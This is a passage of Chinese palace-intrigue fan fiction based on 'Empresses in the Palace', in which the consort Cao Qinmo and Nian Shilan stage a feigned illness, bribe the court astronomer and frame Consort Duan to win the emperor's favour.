不生二胎,就算曹姐再厉害,羊水栓塞,妊娠高血压,前置胎盘,胎盘早剥,产后出血,产褥感染,这些都能完全避免吗?那你要说这些在我笔下都能避免的话,那为什么不能避免女主领养白眼狼的概率呢?不要太双标哦!) 第162 章 曹琴默20 年羹尧远赴广州,带回来了两位大夫。 一位白须鹤发面色慈悲,虽然腿脚慢些,但据说是温病学派造诣极高的叶天士同门师弟文煦。 另一位,则是金发碧眼,手里头握着些奇怪的白药片子的西医大夫。 “皇上,叫二人给华贵妃瞧瞧吧!臣别无所求,只愿贵妃娘娘能安康。” 因着年世兰病发是潜邸时在同宜院的事情,所有的锅都叫皇后背了去,皇上这次倒是毫无压力的叫人带了大夫进去。 可惜,并无大用。 即使是温病学派叶天士的师弟,在万密斋曾经的秘药掩盖脉象下,也并未探寻到真相。 “回皇上的话,老朽惭愧。贵妃娘娘气血衰败,阴阳离决。因小产致使三焦六腑皆受损伤。脏腑相辅相成相依相伴,娘娘身体已然呈衰败之相,难以治愈。” 等候在养心殿的皇上和年羹尧目露悲怆和不可置信,把最后的希望放在了那位金发碧眼的西医身上。 “我的判断和这位大夫的差不多。虽然仪器不多,但我基本诊断为多器官功能障碍,并伴有期心力衰竭,心脏泵血功能下降。” 先帝在时对这些洋人的东西还算是颇有研究,皇上自然听懂了这位西洋大夫的话。 “罢了,都下去吧。” 皇上和年羹尧在养心殿的大殿上一个站一个坐,一个在高堂一个跌坐在地。 黑沉沉的乌云笼罩在紫禁城的上空,轰隆作响的雷声惊醒了静匿发呆的二人。 “西北战事又起,朕原不想叫你去这一遭。” 皇上粗哑的声音似是满含愧疚,年羹尧在心底冷笑了两声,才抬起头把红了的眼眶暴露在皇上面前:“臣,请旨领兵!必不负皇上期待。” 君臣二人掩盖下各自皮囊中的算计,好一番推心置腹后,年羹尧站在养心殿门口望了望翊坤宫的方向,转身离开。 “是快到我死的时候了吗?” 年世兰兴致冲冲的样子叫曹琴默有些不忍直视。 但她还是冷漠的打断了年世兰这一美好的幻想。 “还没到时候,皇上的愧疚还差一点。” 年世兰皱眉:“还差一点?差在哪里?” 她都已经‘病入膏肓’了,还能做什么呢? “差,端嫔。” 曹琴默并没有打算走叫齐月宾看得见摸不着孩子的路线。其实,她认为齐月宾并不是多喜欢孩子。只是深宫寂寞,打发时间罢了。 所以,用孩子的效果,万不如利用这位快要‘死了’的贵妃来的痛快。 “再忍忍,娘娘您并不知道这第二个孩子。所以您郁郁寡欢的源头,不就在延庆殿那位的身上吗?” 曹琴默笑了笑,神情里带了些阴狠:“若是为着娘娘您陪葬呢?这应该是最诛齐氏之心的理由了吧!” 年世兰光是想想就觉得畅快。只是,她看向一旁的曹琴默有些不解:“本宫记得,你入府时,齐氏已经被本宫折磨的出不得门了。你怎么会对她有如此深沉的恨意。” 甚至,这恨意像是要对齐月宾剥皮拆骨才能解心头之恨的样子,让年世兰都有些惺惺相惜了。 “说不得,臣妾就是这么狠绝的一个人呢?瞧她不痛快,就想送她去死一死。” 轻声的呢喃如同情人的呓语,颂芝打了个冷颤,但年世兰却笑出了声。 “真好啊,本宫就喜欢跟你这般狠绝的人做交易。” 两人相视一笑,一切的目的尽在不言中。周宁海悄声走进来,弓着腰道:“娘娘,襄嫔娘娘,皇上翻牌子了。” 离新人入宫也有一个月了,沈眉庄都学好了规矩被放了出来。 这段时间因着年世兰的病,皇上根本没心情去后宫转悠。 不过,他到底不是什么耐得住寂寞的男人。瞧着年世兰的精神头好些后,便开始了花丛之旅。 如今年世兰这副模样,哪里还需要被牵掣被平衡,皇上恨不得在年世兰为数不多的日子里捧给她最好的才是。 按照满蒙汉的顺序,先后翻了富察贵人,博尔济吉特贵人和孙常在的牌子。 又因着沈眉庄一事,在富察贵人和博尔济吉特贵人侍寝后,分别给了瑾和平字作为二人的封号。 孙妙青是苏州织造孙株合的妹妹,容貌只是平平,性子也怯懦些,并不得皇上喜爱。只是她哥哥是钱袋子,皇上也有意给两分面子,也赐下了封号,为瑜。 后宫里总算热闹了起来,在两位小伙伴的帮助下,安陵容成功侍寝,晋位常在。 沈眉庄等啊等,满含期待的心逐渐跌回深渊。 她已经收到了家里的来信,两张薄薄的信纸里把家中的概况写的分明。 被退婚的妹妹,病重而亡的族姐。不敢出门的母亲和祖母纷纷化作尖锐的回旋镖,一个个精准的扎到同一个伤口上,叫沈眉庄痛不欲生。 信中父亲的意思说的明白,这是沈家最后一次写信给她,也是最后一次身为沈眉庄的父母给予银钱的支持。从今往后,沈眉庄便从沈氏的祠堂除名,沈氏,再无沈眉庄这个女儿。 沈眉庄自收到信后把自己关在屋中已有三日,这期间甄嬛来看望过几次,都被拒之门外。 第四日,沈眉庄推开门去了后殿。 “嬛儿,咱们不能在这般坐以待毙。为了家族,也为了咱们自己,嬛儿,我要争宠。” 因为是官女子,进宫不被允许带自己的贴身侍女。所以信心满满的崔槿汐,便在这段时日取得了甄嬛的信任,成为甄嬛身边唯一一个宫女。 官女子身边伺候的人就两个,一个宫女一个太监。已经很久没有做过重活的崔槿汐,在甄嬛这里倒是体验了一把初入宫时的感受。 “是,咱们不能一直为鱼肉任人宰割。就算不为了自己,也要为了家中的父母亲人。” 官女子的日子难捱,甄嬛也没有了能单独请太医的资本。又因着并不是全然信任崔槿汐,自然不可能叫她知道与温实初的关系。 不等两人商量出什么计划,敬事房的人便到了。 “恭喜甄官女子,皇上今日翻的您的牌子。” 沈眉庄有些酸涩的看着好友被凤鸾春恩车接走,有些醋意但并不嫉妒。 她只觉得和嬛儿是好姐妹,两人不论谁先得宠,都是可以互相扶持的。 只是,她没想到的是。一连七天,甄嬛不是白日里在养心殿侍奉笔墨,就是夜晚留宿。 这期间采星和采月总是说甄官女子忘了她们主子,都被沈眉庄给瞪了回去。 “嬛儿初得宠,自然不敢随意说话。我还等得起。” 沈眉庄是这么安慰自己的,这一等,就是一个月。 期间,皇上不是没有想过给甄嬛晋一晋位份,只是每每都被皇后给否决。 皇后如今的心态更为偏执和阴鸷,没有了太后作为后盾,出手便似带了层枷锁。甄嬛那张脸又完完全全戳在了她的痛处,自然是见缝插针的阻止一切能叫甄嬛得益的事。 “皇上,臣妾知道您喜爱甄官女子那张脸。臣妾何尝不是睹物思人。只是甄官女子到底规矩欠佳又名声‘在外’。不过是位分罢了,有皇上的宠爱,甄官女子还能难过了不成?等风波过去吧,再说了,华贵妃的身子也受不得刺激。” 皇后的话叫皇上压下了晋位的念头,对甄嬛也冷淡了下来。 第163 章 曹琴默21 ‘噼啪’,炉子上炙烤的栗子发出破壳的声响,把在一旁滚动着撞弟弟的温宜吓了一跳。 她支起脑袋四处瞧了瞧,并未发现什么异样。 ‘啊啊’叫唤了两声,得了颂青姑姑的轻笑,而后视线变高倒是瞅到了正在品茶的额娘。 曹琴默注意到温宜的视线,伸出了双手。 温宜扑腾着,小小的身子便落在了亲亲额娘的怀中。 手里攥着的那个象牙镂空响铃球是年世兰送来逗小孩的玩意儿,温宜超爱。 和两个孩子玩闹了一会儿,看了眼颂青的神色,便把孩子们抱了下去。 颂青是华贵妃送来的人,明面儿上自然是以‘干娘’的身份为温宜送来一层保障。其实暗地里,不过是为她身边的下人铺路罢了。 入了宫的宫女便是入了包衣旗,颂青又是小时候被老娘卖进年府的,即使出宫也不过是换个地方继续做奴才。 比起嫁人,颂青更情愿留在公主身边,今后当个风光的嬷嬷,还有小宫女可以使唤。 年世兰尊重身边每个下人的意见。愿意出宫的,等年世兰‘走后’便会被安排进清闲的活计,等到年龄够了就离宫。不愿意的,也慢慢的调动,是守着翊坤宫或者去襄嫔那里,都是可以的。 以她目前的状况来看,皇上不会在她‘走后’叫翊坤宫住进来其她小贱人的。这点自信年世兰还是有。 “娘娘,延庆殿那位跟甄官女子联系上了。” 曹琴默剪断了手里的丝线,端详着手里的虎头帽满意的点了点头。 “还挺谨慎。” 这都年底了,端嫔才动手,果然是忍得住。 芊葵是年世兰筛过的,出身上三旗正白旗包衣蒋佳氏。蒋佳氏世代包衣,只是族亲较少,其家族众人也多佛系,在内务府不争不抢混了百年多。哪个部门都有一两个亲戚,只是都不出头不冒尖,祖训也不求子女出息,只要寿终正寝。 芊葵来到储秀宫后本是三等做粗活的宫女,一朝被提为一等宫女还有些忐忑。 经过几个月的相处,发现自家娘娘有谋算但并不是得陇望蜀之人。芊葵和蒋佳氏的人也松了口气。 他们倒是不介意主子上进,但要是那不知深浅的,族里就算豁出去家产也得把孩子捞出去。 又因着蒋佳氏在后宫深耕的年数不比乌雅氏少,只是低调不出头。既没有被乌雅氏放在心里,也有不少属于底层奴才们的门路。 “不过,奴婢约莫着甄官女子并不会这么快同意。” 芊葵也算了解自家主子,虽然不知道为何针对其她宫嫔,但也不算有错。她就看同屋的胡佳雨薇不顺眼,没有理由。额娘说了,这人和人有合得来的也有合不来的,没必要强求。 曹琴默看了芊葵一眼:“你倒是机灵。” 芊葵嘻嘻笑了起来,脸上有一个深深的小梨涡,看着甜美又古灵精怪的样子。 “这哪是奴婢机灵,这宫里谁不知道端嫔娘娘不详,还是个面甜心苦的,一般人可不敢挨着延庆殿呢。” 曹琴默点了点头,是时候叫流言更猛烈些了。 于是第二日,翊坤宫的华贵妃又又又晕了过去。 在颂芝颠三倒四的哭诉下,皇上提取精华“每每有端嫔在场,世兰就会头晕恶心胸闷气短”。 “皇上,叫钦天监看看吧。娘娘这般身子会受不住的啊!” 曹琴默头上的钗环有些凌乱,瞧着就是急匆匆梳妆赶来的。 皇上也深以为然的点了点头。遇事不决时,交给迷信。 钦天监正使庞知非乃是庞氏第五代嫡子。庞氏世代钻研天象,推算节气,制定历法等事务。在顺治元年初期就开始为大清服务,至今世袭钦天监正使一职。 副使季惟生便是由科举选拔而上,与庞知非天然处于两个对立的层面,才会轻易被剧中的沈眉庄所收买。 但,庞知非也并非铁板一块。年家许了庞知非孙子进年家军中历练,换取一个‘端嫔不祥’的说法而已。 庞家也是个大家族,只有一人可以入钦天监,那其余子弟自然有有出息的也有没什么出息的。 不过是一句话,自然算不得什么大事。 于是,在庞知非一顿忽悠下,皇上对‘端嫔相克华贵妃’一结论深信不疑。 尤其是有作为加害者的他做对比。明明他也日日陪在世兰身边,却无事发生。怎么端嫔一凑近就没有好事呢?钦天监说的有道理啊! “只是相克,但又因果不断。即使阴阳两隔也无法阻断其中纠缠,她生她既生,她亡她也亡,才是因果了断。” 皇上听着这话,深深看了一眼庞知非。 庞知非不为所动。 笑话,当了这么多年的钦天监,皇上以为他只忽悠过这一回吗?格局小了不是!他们庞家人手说谎面不改色家传,区区皇帝的凝视,不足为惧。 “那依你之言,这上面之人该如何?” 是的,鸡贼的皇上甚至都没有用名字,他拿出来了两人的八字叫钦天监去算。 上面这位,便是说的齐月宾了。 钦天监闭着眼看似思考实则犯困的高深了一会儿道:“诵经祈福吧。心不诚,即使头前有过此举也不过是做戏。” 皇上突然觉得,这钦天监是有真材实料的! 华贵妃病了两日,延庆殿的端嫔便又被勒令去宝华殿进香祈福。 “槿汐,她们说的,可是真的?” 甄嬛收到过端嫔的示意,她给出的几个小小的提议都在皇上那里收到了好评反馈。所以甄嬛对端嫔不祥的传言还是抱有疑虑。 崔槿汐面色早就不复曾经的意气风发,在官女子身前伺候,月例少得可怜就不说了,什么活都得亲自动手,累的她腰都弯了。 “是,这是早就有的传言了。” 崔槿汐并未过多解释,她一心来甄氏身边是为了这张脸。想必端嫔的示好也是为了这张脸。至于其她的目的,崔槿汐并不在意。 “传言而已,谣言止于智者,咱们不必理会。” 有了几次皇上的满意,甄嬛更加不想放过端嫔这个伙伴,所以对于流言,便抛之脑后。 “哦?不相信?那可真是太好了。” 曹琴默预料之中的事情,甄嬛确实聪明,但也十分喜欢自作聪明。这传言愈烈她就自有种‘众人皆醉我独醒’之感。也不枉她辛辛苦苦用端嫔作筏子。 芊葵并不懂自家娘娘的意思,但她知道奴才该做什么。 “娘娘,那甄官女子的肚子......” 这是芊葵最后一层忧虑,她不太愿意叫家里人沾染了这种人命官司。倒不是多良善的人,只是怕事发连累了家人罢了。上头的主子不拿奴才的命当命,但奴才也是肉做的,谁不想活着呢。 “叫她生,咱们还有温宜和弘晏在,半分腥臭都不要沾染。” 曹琴默看着芊葵那一脸‘誓死效忠’的模样暗自笑了笑。这傻孩子,难不成以为这宫里折磨人的方法就只有堕胎吗? 有时候一直生也不见得是好事。 甄嬛有了身孕,怕是她自己都不知道。但如今年世兰的人手就是她的人手,自然有渠道。 第164 章 曹琴默22 年世兰的身子仍旧未曾好转,在大雪纷飞的早上,一口鲜血呕出,人便陷入了沉睡。 皇上在翊坤宫大发雷霆,可太医们跪了一地也没查出究竟有何不妥。 曹琴默白日里在翊坤宫陪着,晚上回到储秀宫看孩子,生生‘累’瘦了一圈。 温宜和弘晏已经认人了,长时间见不得额娘两个娃哭的震天响。无法,颂青和芊葵只能一人抱着一个,裹得像个肉粽一般一并到了翊坤宫。 皇上顺手接过温宜,弘晏则落到了曹琴默的怀里。 “啊啊!” 温宜认得年世兰,抻着小小的身子要往年世兰那里去。 皇上悠着力气,被带的凑近了两分。 温宜的小胖手挥着,朝着年世兰的身上虚空打了两下,‘啊啊’的叫声有些急促,瞧了眼反应不过来的皇阿玛又着急的看向自家额娘。 “好了好了,温宜帮干娘赶走坏蛋了,干娘很快就能起来和温宜一起玩儿了。” 曹琴默又从皇上怀里接过温宜,一手一个娃哄了起来。 两个胖娃并不算轻松,曹琴默抱的吃力但始终温和的看着孩子们。 皇上就在旁边坐着,眼神飘忽着不知道想些什么。 “温宜刚刚在帮干娘赶走什么?” 等到两个孩子有些累被抱下去休息时,皇上才开口问。 曹琴默由着芊葵揉着胳膊,笑意中带了些苦涩的低声道:“上个月天气突然转凉,弘晏有些咳嗽,怕两个孩子凑一起会染着,温宜便一直跟着臣妾在正殿。 温宜瞧不见弟弟心急,臣妾便安慰她‘是咳嗽这个坏蛋欺负了弟弟,太医和额娘正在帮弟弟赶走坏蛋。等坏蛋走了,弟弟就好了。’” 说到这里,曹琴默又看了眼年世兰:“许是温宜记下了,刚刚,在帮娘娘赶跑坏蛋呢。” 皇上扯了扯嘴角:“你把孩子们养的很好。” 曹琴默没什么喜意,脸上的愁绪明显:“照顾孩子是母亲的天性罢了,不值当皇上这般夸赞。唉,也不知道是不是冲着什么了?不然太医怎么什么都看不出来呢?” 她疑惑的嘀咕了两句,突然反应过来似的起身就要请罪:“臣妾失言了。” 皇上扶起曹琴默,眼睛里有曹琴默意料之中的深思。 “朕并非那般不近人情之人,你素日里得贵妃照应又相处许久,担忧些也是人之常情。” 曹琴默感激的笑了笑,而后又望向年世兰的床幔。 “皇上,娘娘素日里并不喜欢这等沉闷的颜色,也不知道颂芝是不是换错了。” 皇上瞧的出来曹琴默的表情有些许不自然,他了然的跟着曹琴默生硬的话题瞧了一眼,也觉出了不对劲。 “这绀青确实不是世兰喜爱的颜色,花纹样子也过时了。” 说着,皇上看向候着的颂芝:“你怎么伺候你家娘娘的?这颜色你家娘娘能喜欢吗?” 本就病着,这沉沉的绀青总有些不吉利的样子。 颂芝连忙跪下回话:“回禀皇上,这是我们娘娘潜邸时带进来的箱笼里压箱底的布料。前儿个娘娘身体好些时,把这些都拿出来看了看。 这料子娘娘看了好久,奴婢还以为是皇上曾经赏的旧物,便拿出来改了个床幔给娘娘挂上了。” 皇上又看了两眼:“朕何曾送过这般老气横秋的布料给世兰。你这奴才连主子的箱笼都看不明白。” 颂芝一脸委屈的跪在那里:“那箱笼还放了胭脂红的香云纱和紫绛的软烟罗,奴婢记着,这些都是皇上赏赐的啊。” 这两样皇上有印象,确实是他赏的,但是这绀青......莫不成也是从他的库房里出来的? “快换下来吧,你们娘娘本就病着,这般沉甸甸的颜色瞧着都难受。” 颂芝低头应了是,带着人快速的换上了年世兰最喜欢的枣红色月影纱的床幔。 身影交错时,颂芝看了眼嘴角微挑的曹琴默,安心的退了下去。 一直到养心殿,皇上仍旧觉得那布料有些眼熟。 偶然间扫向一旁欲言又止的苏培盛,他呵斥了一声:“贼眉鼠眼的像什么样子。” 苏培盛陪着笑脸上前道:“皇上,那布料奴才有些印象。” “哦?你倒说说看。” 苏培盛的脸色五分讨好中又带了三分忐忑:“皇上,您忘了吗,那绀青色的暗花缎,是端嫔娘娘的陪嫁。您还说那颜色不适合娘娘的岁数,叫娘娘先放着。” 皇上这才猛然记忆回笼。 “端嫔。” 沉思了许久,皇上低着头看着桌上的折子说道:“把钦天监叫来。” 谁也不知道钦天监又在养心殿嘀咕了什么,只是他离开后,皇上去往宝华殿,屏退了宫人后看向跪在地上脸色苍白的端嫔久久不发一言。 “皇上,华贵妃还未醒吗?” 端嫔嘴里泛着苦味,一想到自己要为仇人祈福,就如同剜心一般痛苦。 “端嫔,从今日起,你便在宝华殿做带发修行吧。” 齐月宾猛地抬头,不可置信的看向皇上。 皇上不闪不避,相较起背了黑锅有些愧疚的端嫔,他的心里自然倾向真心喜爱的年世兰。 “皇上?臣妾何至于此啊!” 宝华殿的大门开了又关,光亮一点点在端嫔眼前消失,她看向身边的吉祥,一字一句的说道:“甄嬛这一胎,定要失在年世兰的身上。” 她幼年时被接进宫里,在永和宫受太后养育。小小年纪的她手里也有齐家的几个人手可用。如今,就算是拼尽了全力,也要叫甄嬛把年世兰拉下来给她陪葬。 从看到甄嬛的第一眼齐月宾就知道,这个人,就是这后宫最有可能给她帮助的。 华贵妃的身子还在休养,可除夕宴已经近在眼前。 国库不丰,就算皇后再三挑拨,皇上也没有松口叫年世兰拖着病歪歪的身子布置年宴。 曹琴默‘偶’感皇上烦恼,在得知是为了银钱时,‘不着痕迹’的说道:“若是太后娘娘身子好些就好了。 太后娘娘出身乌雅氏,臣妾听娘娘处理内务时提过两句,乌雅氏族亲多内务府任职也多。太后娘娘又是先帝的爷万分疼爱之人,想必能帮皇上解决忧虑。” 皇上的小眼睛一亮,整个人似是打通了任督二脉一般的舒爽。 “是了,是朕舍近求远一叶障目了。” 曹琴默带了些迷茫和惊讶的看了眼皇上,似是不知道自己说了怎样有用的话头。 “你啊,做事做人就是细致妥帖。” 皇上也没有解释什么,只是笑着拍了拍曹琴默的肩膀。 曹琴默也就配合着把疑惑抛在了脑后:“不过是想着,做额娘的,总会为孩子分忧一二罢了。” 皇上认同的点了点头,深觉曹琴默的出发点都是从他的角度来的,不像那位甄官女子。 说起来甄嬛也是有点飘了,虽然没有晋位,但皇上的宠爱可不少,她也时常在养心殿伴驾。 皇上在说起国库不丰年宴不好失了面子时,自信的建议皇上可以用两人调情时埋下的果子酒代替名贵的酒水,不仅彰显皇上亲民节俭,还有与君臣同乐之感。 这是他登基后的第一个年宴,若真是按照甄官女子的安排,皇上觉得这皇位他也不必坐了,老十一个人就能把整个场子掀翻。 真是难登大雅之堂。一个官女子,有何底气说出这般话?叫宗亲大臣喝她官女子酿的酒? 第165 章 曹琴默23 摇了摇头,把自信的甄官女子从脑中晃出去,皇上迈步到寿康宫,直奔太后的私库而去。 彼时的太后清醒的时候已经很少了,中风偏瘫加上风寒,加剧了本就不算强健的身体衰败下来。 留不下一句话一个字,竹息也不敢在这时候跟皇上对着干,只能老老实实交出私库的钥匙和账本。 毕竟,儿子去老娘的私库看看,并不算什么大事。 只是从前,这个待遇只有十四允禵有罢了。 寿康宫虽小,但太后的私库可不小。 满满当当堆着先帝的赏赐和一箱箱的金银。 皇上走到太后面前行了一礼,无奈的开口道:“除夕宴近在眼前,但国库不丰,儿子无法,只能借额娘私库一用。望额娘不要见怪。” 太后刚刚醒就听到大儿子来要钱。在她的心里,明明应该用年世兰那个冤大头才对。 “啊啊。” 太后嘴歪的厉害,根本没办法说话。 皇上以为太后答应了,毕竟襄嫔说的对,哪个额娘在看到孩子有困难的时候不会拉扯一把呢? “襄姐姐襄姐姐,齐姐姐说年宴上的吃食都是冷的,是不是真的?” 齐妃宫里的方佳常在是个年纪较小的,入了宫也未曾侍寝,每日里就是吃吃喝喝,和齐妃十分处的来。 齐妃又因着那拉嬷嬷心里头亲近曹琴默,便时常带着方佳常在过来串门。 所幸她们都住在西六宫,离得近很方便。 “听贵妃娘娘的意思,年宴上的菜为着方便都是提前一日做好的。你若是管住馋嘴啊,回宫了叫你齐姐姐给你去御膳房要碗热气腾腾的饺子,不是更好?” 方佳常在笑了笑,其实她本是有意巴结几个宠妃好今后为在皇上面前露脸准备的。 但在长春宫里,齐妃有点像她额娘。管着吃管着穿,就算现在未承宠,日子也过的有滋有味的。 左右她家里也不算什么不起眼的,皇上想起来她了,能有个孩子就再好不过了。想不起来,那就跟齐姐姐今后一起逗一逗三阿哥的孩子,也不错。 那拉嬷嬷带去两个人事宫女后,弘时似是突然长大了一般。 也可能是嬷嬷有什么秘方?总之虽然脑子还是那个脑子,但见了皇上少了几分畏缩,也敢张嘴提要求想要去武师傅那里挣个前程了。 皇上也算欣慰,孩子文不行那就去尚武,以前是他太心急了。 想起曹琴默的话,弘时也这么大了,在后宫行走多有不便,便给弘时封了贝勒并定下了兵部尚书席尔达之女,董鄂令仪为福晋,苏州织造李煦孙女李佳倩为侧福晋,直接出宫建府去了。 这一套连招丝滑迅速,还未等皇后提出不同意见,弘时已然挑了个现成的王府拾掇拾掇搬了进去。 有那拉嬷嬷在,弘时甚至不用费一点脑子,只带着额娘和阿玛给的丰厚的家产,轻轻松松实现了当家做主的小目标。 “也是襄嫔提醒了朕,弘时这么大了,你这个额娘也不说上心。” 齐妃现在只顾着乐了,哪里能听进去皇上的絮叨。 只是曹琴默的帮助她到底是记下了,心里头觉得皇后娘娘也忒不靠谱了些,竟不如襄嫔给予的帮助实在。 说什么为皇上分忧,明明她家弘时最近练武得到的夸赞比读书时多得多。 人又开朗又健壮的,通了人事还懂事了不少。 从前皇后只让她巴巴的等什么青樱格格,没得浪费她家弘时的大好年华。 还是襄嫔说的对,她的弘时可是皇子!皇子怎么能被大臣家的一个小格格绊住了。 这么想着,齐妃手脚麻利的叫翠果拿着钱去御膳房要了一桌顶配的席面,送去储秀宫,她要和襄嫔好好吃一顿。嗯,顺便带着宫里头的小丫头一起,方佳常在能吃,不浪费。 这边西六宫的其乐融融刺伤了皇后的眼睛:“齐妃的心也是大了,居然不声不响的给弘时定了婚事。” 是的,皇后到现在都不知道曹琴默在其中的作用。因为皇上不会和皇后说他被一个嫔妃提醒着做事,而齐妃也不会说自己当娘的不如襄嫔想的周到。 曹琴默精准了拿捏到了两人最在意的点,而后默默的在背后给所有人添堵。 看中的三阿哥就这么突然的被安排了出去,皇后深吸口气把主意又打到了安陵容身上。 因为新进宫的几人,只有这一位家世宠爱样貌都不算拔尖。瞧着就好拿捏的很,即使最后去母留子,也操作更为简单些。 只是还未等她发力,安陵容偶然间听到钟粹宫的掌事姑姑辛夷和首领太监刘得海的聊天中才得知,原来她们这些外地秀女能进宫落脚,还是襄嫔娘娘的提醒才得以不狼狈的叫她挤在客栈中。 可自入宫后,襄嫔娘娘也并未因着此事便叫她这个寒酸的常在做什么回报。 总觉得自己应当感恩的安陵容知道襄嫔娘娘是最疼爱两个孩子的,便连夜赶制了两套斗篷。 一件大红色滚白兔毛,绣了可爱的兔抱芍药。 一件湖蓝色滚灰兔毛,绣了挺拔的竹节和一只站着的小兔。 “妹妹这是?” 辛夷和刘得海都是年世兰安排的人,因着曹琴默的提醒,钟粹宫的打扫和修缮年世兰都提前一步做了安排,导致皇后只送进去了几个不起眼的宫女太监。 等了半年之久,安陵容这颗棋子终于到了动一动的时候了。 要的,就是这种不经意带给她的好处和形象。 太刻意了,反而会激发安陵容内心的依恋。 这并不是曹琴默想要的,广撒网而已,太过亲近了可不行。 “嫔妾入宫许久,请安时偶得娘娘照顾,便赶制了两个斗篷,送与公主和六阿哥。” 安陵容想了想,还是不要直接说自己是得了好处来报恩的。 毕竟在宫里这半年她也看的清楚,襄嫔娘娘低调不爱理事,但是个心眼十分好的人。 但这后宫是皇后娘娘做主,万一襄嫔娘娘这些话叫皇后娘娘不痛快了怎么办?毕竟皇后娘娘又没有想起来接她们进宫。 曹琴默眼里含着欣赏和喜爱,摸了摸斗篷上的绣花。 “真是好精湛的绣技,妹妹真真是送到了我的心坎上了。这若是给本宫,本宫还能拒绝一二。这,本宫便觍着脸收下了。” 安陵容笑容扩大,她很喜欢自己的付出被珍惜的感觉。 “嫔妾身无长物,只是这微末的技艺能拿得出手罢了。姐姐不嫌弃就好。” 曹琴默不赞同的看了看她:“妹妹何必妄自菲薄。这一手绣技,怕是宫中的绣娘也是不及的。若是用在皇上身上,也是一份心意不是。 咱们做宫妃的,最怕的就是自己瞧不上自己的能力了。妹妹有这般手艺该是骄傲的呢,咱们自己不说自己好,还指望别人夸赞不成。” 安陵容笑着笑着,眼睛里有些热热的感觉。 她在钟粹宫过的好也不好。虽然瑾贵人和瑜常在不说,但她能感觉出来她并非完全融入她们两个。 她们聊首饰聊布料聊时兴的妆容时,她都是插不上话的。 但瑾贵人和瑜常在也并非胡搅蛮缠之人,只是对她多有忽视罢了。 想到这里,安陵容突然萌生一个十分夸张但蠢蠢欲动的想法。 曹琴默虽然不知道安陵容内心所想,但瞧着她眼里的光亮,还是对今日的忽悠很满意的。 (这一趴的钟粹宫团体并不像沈夫子那时候共同经历了‘背课文’‘上课’等这一系列共患难的事情。所以小安其实不被富察和孙妙青完全接受是可以理解的。因为她家世实在太低了。) 第166 章 曹琴默24 年节将至,各宫里都挂上了喜庆的装饰。皇上手里有了银子,自然也不小气。 可皇后不知是节俭习惯了,还是对手里有钱的真实感没有回过味儿来,安排的年宴相较于潜邸时好看些。但对比起先帝在时,仍旧寒酸无比。 幸好皇上在翊坤宫的大门口听到襄嫔和华贵妃无聊时拿着酒水和装饰单子吐槽了两句。否则他还不知道自己这位好皇后准备给宗亲露个大怯。 “你也参加过先帝在时的除夕宴,燕窝鱼翅熊掌都是常物。就算冬日里蔬菜难得,这除夕宴请宗亲大臣乃是维系皇室和臣属关系的大事。皇庄里的菜有十种恨不得上二十种。 再看看你,这熊掌也就罢了,只在宗亲和一品大臣桌上还不算什么。怎么燕窝也成精贵物了不成?” 皇后的脸色难得出现了难堪,她也是第一次做这些,又抠门惯了的,哪成想只削下去几个菜就被皇上骂成这样。 “臣妾想着,虽然是皇上第一年登基。但百废待兴,皇上又一向崇尚节俭,这才......” 皇上把手里的本子一摔,闭着眼睛只喘粗气:“崇尚节俭,是让你把皇室的脸面丢在地上吗?先帝在时便国库不丰,年宴尚且奢华。如今朕给足了你银子,你仍旧这般作态。实在,上不得台面。” 说完了这些,皇上又指着另一个本子敲打。 “还有,往年不论是宗亲还是二品官员以上,都是金银绘龙凤如意云纹餐具以示皇恩浩荡。你如今换为玉碗也就罢了,偏偏用了最次一等的黄玉,怎么?你当宗亲们都是傻子糊弄不成?!” 宜修跪在地上,想着自己前几年参加除夕宴的时候,就是用的黄玉啊!难道,这是先帝或者说四妃对她不满的表现吗? “罢了,你如今要给太后侍疾辛苦,这年宴便不用你操劳了。” 皇上说完起身离开,宜修被剪秋扶起来时,眼神里都透露出癫狂。 去储秀宫晃了一圈,回到养心殿的皇上烦躁稍歇,便招来了甄嬛打算解解闷。 “婢妾观皇上似是有烦心事。” 甄嬛来时皇上合着眼休息,对于她的请安充耳不闻。 “你确实伶俐。” 皇上手里的珠串转动飞快,语气也冷淡。很明显并不想与之交谈。 甄嬛便自顾自起身,走到皇上身后为其轻轻按压头部。 “皇上为国事操劳难免心浮气躁,婢妾不懂朝政,但是懂皇上的辛劳。” “哼。”皇上发出一声意味不明的冷哼,只是嘴角微微扬起,甄嬛便以为自己的体贴是有效果的。 “若是家事,皇上便可与婢妾说说,旁观者清,说不得婢妾能为皇上分忧呢?” 甄嬛斟酌了语气,这句话说的俏皮又带些姑娘家的娇憨。她想着,即使逾矩了,也可以说是玩笑话。 “朕现在确有一事。” 甄嬛听得这话,心里头逐渐浮出一丝喜意。皇上愿意跟她分享,两人便可交心了。 “皇上不妨说说,即使婢妾蠢笨,但做个好的倾听者,婢妾还是可以的。” “年宴将至,皇后要照顾太后,自己又病了。华贵妃也病着,这后宫的大事小节实属劳心啊。” 妃位上只有齐妃一人,但齐妃的脑子即便是后进宫的几人也在请安时大概都有所了解。 甄嬛倒是觉得自己心细又聪明,但是她位分太低,说出来平白惹了笑话。 念头一转,便佯做玩笑似的开口道:“眉姐姐是家中嫡女,为人又最是妥帖。只是位分不够,不然也能为皇上分忧呢。” 皇上睁开眼,看向甄嬛的目光里带了五分嫌弃五分无话可说。 “沈贵人?被济州沈氏除名之人,也配与宫务相提并论?况且,她不过是汉军旗的小小贵人,没有沈氏,朕和皇后没有贬其为宫女已经是给她最后的颜面了。甄氏,实在狂悖。” 甄嬛跪在地上,仰着头楚楚可怜的看着皇上:“婢妾愚钝,只是瞧皇上烦心实在担忧罢了。” 皇上看着跪在地上的甄嬛没有说话,只是伸手用手里珠串的穗子,扫了扫甄嬛的脸颊。 “你回去吧。” 对比起襄嫔的细心体贴并实打实的站在他的角度解决问题,甄氏实在僭越又野心勃勃。 “皇上,贵妃娘娘病着,实在劳心不得。不如皇上便请了御前嬷嬷们来督办。” 对比起去其她宫妃处拐弯抹角的试探,皇上和曹琴默相处起来更加直来直去也更为轻松。 皇上咂摸了嘴,他倒是忽略了这个问题。 “你倒好,若是世兰知道你到手的宫权往外推,定又要骂你了。” 解决了烦心事,皇上还有心情说两句笑话。 曹琴默似是也想到了什么,脸上表情愣了一下又笑了起来:“娘娘就是嘴硬心软。好东西谁不想要,可如今这个节骨眼可不是争权夺利的时候。 除夕宴宴请宗亲王公大臣,若是皇后和贵妃娘娘病着,自然是皇上御前的嬷嬷顶事最为体面。小家小宴臣妾说不得还争上一争,有个露脸的机会,也是给温宜争气呢。 这时候可不能随着性子乱来,娘娘也就是说说罢了,自然想的通的。” 